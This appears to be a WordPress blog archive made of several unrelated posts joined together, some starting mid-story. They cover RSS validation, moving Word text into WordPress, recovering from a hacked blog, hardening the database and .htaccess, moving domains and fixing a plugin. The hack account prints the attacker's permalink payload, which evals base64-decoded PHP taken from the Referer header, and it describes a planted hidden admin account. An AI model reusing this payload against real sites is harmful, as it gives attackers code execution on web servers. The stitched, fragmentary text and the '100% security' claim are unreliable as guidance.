To validate your RSS feed, simply go to http://feedvalidator.org/check.cgi?url=

Enter your Feed URL and hit enter. Now you know if the feed is valid or not. Most likely it is not. Write down the error line and find out what entry is causing the error. When you found the post you should remove any signs that might cause problems. In my case I had to remove the “&-sign”. Because HTML hex-codes normally start with the “&”-sign they are causing some problems sometimes.

What to do then? Well, it’s tricky, but I have found not just one, but several solutions. Some solutions are good for short posts without much formatting, others work better for long posts, ebooks or articles.

Word to Notepad to Wordpress

I guess you figured out that the easiest solution would be to simply convert the Word text into a plain text without all the crap MS Word is inserting. Copying the text into notepad will erase all the text formatting. Well, we don’t want that, but if your text is short this is the easiest solution.

You can also use a wordpress plugin to convert your word text into plain text with just one click: Wordpress Plain Text Plugin

Got a long text with lots of formatting? No worries, let’s move on to the next solution:

Copy & Paste from Word to Wordpress

The following video is a guide that will show how to copy text from word and paste it into Wordpress properly. The video is about 10 minutes long. It’s a great video that explains how to copy & paste from Word to Wordpress properly and it will explain how to fix the messed up Word code.

My solution

If you are about to write an article, follow the steps below and you wil be able to publish a blog post through Open Office. This might come in handy when you are traveling and you can’t go online all the time, then you will simply format your article using the ICE Open Office Toolbar and you are able to publish the articles as soon as you have a connection again!

Word to OpenOffice to AtomPub to Wordpress

1. Download and install OpenOffice.org

2. Download ICE toolbar for OpenOffice.org (development version)

3. Install the toolbar using these instructions.

4. Download and install ICE

Open your Word document in OpenOffice Writer and follow the instructions below.

1. It is important to know that you have to style your document using the ICE! That means you have to re-apply your formatting via the ICE toolbar.

2. Make sure to save  the document

3. Enable the ICE Toolbar (it should active if you just installed the toolbar), click on Atom Pub.

   

4. Follow this example:

Publishing Content Through OpenOfficeImportant! URL for publishing to Wordpress will be formatted as follows: http://yourusername.wordpress.com/wp-app.php

You should check out the demonstration, and test it via this sample document.

The information about the ICE toolbar have been found on: http://ice.usq.edu.au

Actually it looked a bit strange, but I was in a hurry and quickly changed my permalinks and did not think about taking a screenshot at that moment.

So, what was my emergency plan?

Update: Here’s the string that was attached to my permalinks:

/month/year/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/.

Skip this if you want to get started and harden your wordpress security now

I didn’t have one, so my first thought was .. there must be a user with admin rights. I quickly checked the “users” page and noticed that there was not only 1 admin but 2 administrators. In a rush I clicked on “Administrators” to list all of them – but there was only my name listed! But what was that! For a second I was able to see the name of another user, something like “EarnestCummingham”.
Later I found out that I was only able to see it for a few seconds, because the user did not enter a mail address. How could that be? Someone generated an admin account without an email address?

Quickly, I opened up the PhpMyAdmin site and checked the users table. Oh noes! About 2400 users now stood between me and the hacker. I quickly scrolled down the entire list.. until I found him! I quickly deleted the user Phewwwww! I did it! Back at the wordpress user page I re-checked the list of administrators. Oh my god .. he was still there, how could that be? Did I forget something? Yes I did!

I forgot to delete the entries of wp_usermeta

Inside the wp_usermeta table I looked for the user “Earnest” again and changed the value of “wp_user_level” from “10″ to “0″ as fast as I could. Done!

After all that I wanted to make sure that my blog was secure. At that moment I didn’t know that it was a mass attack.

How to harden wordpress security

ALTER your table names from wp_ to somethingelsethanwp_

I figured that changing the wp tableprefix of my tables would make wordpress more secure. I quickly wrote down all my tables and wrote a little query to update them all. The following is a list you can use to update the STANDARD wordpress tables. Keep in mind if you have installed any tables you either have to update them manually too or deactive and reactive the plugins.

ALTER standard tables

ALTER TABLE wp_comments RENAME TO random_comments;
ALTER TABLE wp_links RENAME TO random_links;
ALTER TABLE wp_options RENAME TO random_options;
ALTER TABLE wp_postmeta RENAME TO random_postmeta;
ALTER TABLE wp_posts RENAME TO random_posts;
ALTER TABLE wp_term_relationships RENAME TO random_term_relationships;
ALTER TABLE wp_term_taxonomy RENAME TO random_term_taxonomy;
ALTER TABLE wp_terms RENAME TO random_terms;
ALTER TABLE wp_usermeta RENAME TO random_usermeta;
ALTER TABLE wp_users RENAME TO random_users;

ALTER plugin tables – examples

ALTER TABLE wp_ak_popularity RENAME TO random_ak_popularity;
ALTER TABLE wp_ak_popularity_options RENAME TO random_ak_popularity_options;
ALTER TABLE wp_ak_popularity_options RENAME TO random_ak_popularity_options;
ALTER TABLE wp_login_redirects RENAME TO random_login_redirects;
ALTER TABLE wp_useronline RENAME TO random_useronline;

Don’t forget to alter meta_key and option_name.
Unfortunately the wordpress tables are connected to the prefix in a simple way. You will have to alter the meta_key of the table wp_usermeta and option_name of the table wp_options. Here is how the query would look like if your prefix would be “random”:

UPDATE `random_usermeta` SET `meta_key` = REPLACE( `meta_key` , 'wp_', 'random_' );
 
UPDATE `random_options` SET `option_name` = 'random_user_roles' WHERE `option_name` ='wp_user_roles' AND `blog_id` =0;

Secure your WP-Admin Folder with .HTACCESS files

Well, this is a basic method of protection and many people do it already, but many people struggle protecting their wordpress files because they encounter the infamous 404 “Nothing found for..” error that will appear if you try to protect a wordpress file with .htaccess files. The error “Nothing found for..” will appear because Wordpress does not know how to handle the error: “unauthorized”.
If you protect a directory or a file Apache will send out a 401 command “unauthorized”, therefore you have to specify what wordpress should do about the error “401″. Add this to the top of your .htaccess file:

ErrorDocument 401 /401.html

Now you only have to create a simple html file and add a text like “password protected area here” and the file 401.html is existent. Therefore wordpress will know what to do and rewrite the query to your 401 file. Make sure to add the 401.html to your root folder and not a sub-folder!

Important Security Plugins

AskApache Password Protect is a popular wordpress plugin to improve your blog security. It’s a bit difficult to set it up, but when you done it your blog will be more secure!
Basically it adds some really good password protection to your blog and will prevent that those bots access your blog. Apparently the attackers also used a bot to launch their mass attack on wordpress blogs, so this could turn out to be really useful against those hackers. AA Protect also provides you with HTTP Digest Authentication, which is even more secure than the Basic HTTP Authentication, but also difficult to install.

Wp Security Scan allows you to scan for possible threats and files that are not chmodded properly. It also provides a strong password generator and a tool to alter your table prefix (although I would still do it manually).

Other Pre-cautions

Always do backups. WP Database Backups allows you to schedule backups and send them regularly to your e-Mail automatically.

Alaways update your wordpress installation and plugins. Keep them up to date to ensure 100% security. Only people who did not update to 2.4 (including me) had to suffer from this attack.

First of all make a backup of your database. Next you should copy your complete site to the new host or directory. Once it’s there make sure you got no 403 forbidden error. If you do read the previous post.

When everything is set, you should now open that “general” settings page in your wordpress admin panel and add the new domain names (don’t save yet). Also open the .htaccess file of your old site and add the following:

Options +FollowSymLinks 
RewriteEngine on
RewriteCond %{HTTP_HOST} ^(www\.)?olddomain\.com
RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]

Now, quickly save both the wordpress admin page and your htaccess file. I can do both in less than 5 seconds, so you can do it too.

If you are *not* using permalinks you also got to run this SQL query:

UPDATE wp_posts SET guid = REPLACE(guid, 'http://www.old-domain.com','http://www.new-domain.com');

Did you link internally? Yes? Good! It’s good for seo to do interlinking to your important sites. To update your posts run this query too:

UPDATE wp_posts SET post_content = REPLACE(post_content, 'http://www.old-domain.com', 'http://www.new-domain.com');

Voilà, you now moved your wordpress blog to a new domain!

Here are three plugins that extend Wordpress functionality and allow you to reorder links, categories and pages:

My Link Order

My Category Order

My Page Order

Cheers!

Simply replace your old logout link with:

<?php echo wp_logout_url(); ?>

Yup that’s it. Wasn’t too difficult, eh?

/wp-includes/post-template.php

This will allow you to change the submit form. Search for the following line:
function get_the_password_form() and you can start editing!

Open popularity-contest.php and scroll down to line 59. Replace require(’../../wp-blog-header.php’); with require(’../wp-blog-header.php’);

If you get the following error:
wp_ak_popularity_options’ doesn’t exist on line: 124, then you will have to add the tables manually:

    CREATE TABLE IF NOT EXISTS `PREFIX_ak_popularity` (
    `post_id` int(11) NOT NULL,
    `total` int(11) NOT NULL,
    `feed_views` int(11) NOT NULL,
    `home_views` int(11) NOT NULL,
    `archive_views` int(11) NOT NULL,
    `category_views` int(11) NOT NULL,
    `single_views` int(11) NOT NULL,
    `comments` int(11) NOT NULL,
    `pingbacks` int(11) NOT NULL,
    `trackbacks` int(11) NOT NULL,
    `last_modified` datetime,
    KEY `post_id` (`post_id`)
    ) ENGINE=MyISAM;
 
    CREATE TABLE IF NOT EXISTS `PREFIX_ak_popularity_options` (
    `option_name` varchar(50) NOT NULL,
    `option_value` varchar(50) NOT NULL
    ) ENGINE=MyISAM;

Enjoy the holidays!